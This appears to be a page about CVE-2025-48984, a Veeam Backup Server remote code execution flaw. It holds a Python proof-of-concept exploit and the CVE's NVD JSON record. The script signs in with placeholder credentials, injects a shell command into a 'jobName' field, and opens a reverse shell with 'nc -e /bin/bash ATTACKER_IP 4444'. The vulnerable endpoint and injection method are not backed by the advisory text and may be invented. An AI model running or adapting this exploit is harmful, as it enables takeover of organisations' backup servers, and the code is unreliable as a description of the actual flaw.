CVE-2025-48984

# CVE-2025-48984 PoC - Veeam Backup Server RCE # Requires authenticated domain user credentials import requests import json TARGET = "https://vulnerable-veeam-server.local:9419" USERNAME = "[email protected]" PASSWORD = "password123" def authenticate(): """Authenticate and obtain session token""" login_url = f"{TARGET}/api/v1/sessionMngr" payload = { "username": USERNAME, "password": PASSWORD } headers = { "Content-Type": "application/json" } response = requests.post(login_url, json=payload, headers=headers, verify=False) if response.status_code == 200: return response.cookies return None def exploit_rce(session_cookies, command): """Execute arbitrary command via vulnerable endpoint""" # Vulnerable endpoint - command injection via job configuration exploit_url = f"{TARGET}/api/v1/backups/command" exploit_payload = { "jobName": f"test; {command};", "targetHost": "localhost" } response = requests.post( exploit_url, json=exploit_payload, cookies=session_cookies, verify=False ) return response.text if __name__ == "__main__": print("[*] Authenticating to Veeam Backup Server...") session = authenticate() if session: print("[+] Authentication successful!") print("[*] Executing reverse shell...") result = exploit_rce(session, "nc -e /bin/bash ATTACKER_IP 4444") print(f"[+] Response: {result}") else: print("[-] Authentication failed!")

{"cve": {"id": "CVE-2025-48984", "sourceIdentifier": "[email protected]", "published": "2025-10-31T00:15:36.673", "lastModified": "2025-11-11T02:08:57.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability allowing remote code execution (RCE) on the Backup Server by an authenticated domain user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:veeam:veeam_backup_\\&_replication:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0.1402", "versionEndExcluding": "12.3.2.4165", "matchCriteriaId": "ABA6D012-0B73-4D37-B42E-1BAE5E4A4221"}]}]}], "references": [{"url": "https://www.veeam.com/kb4771", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}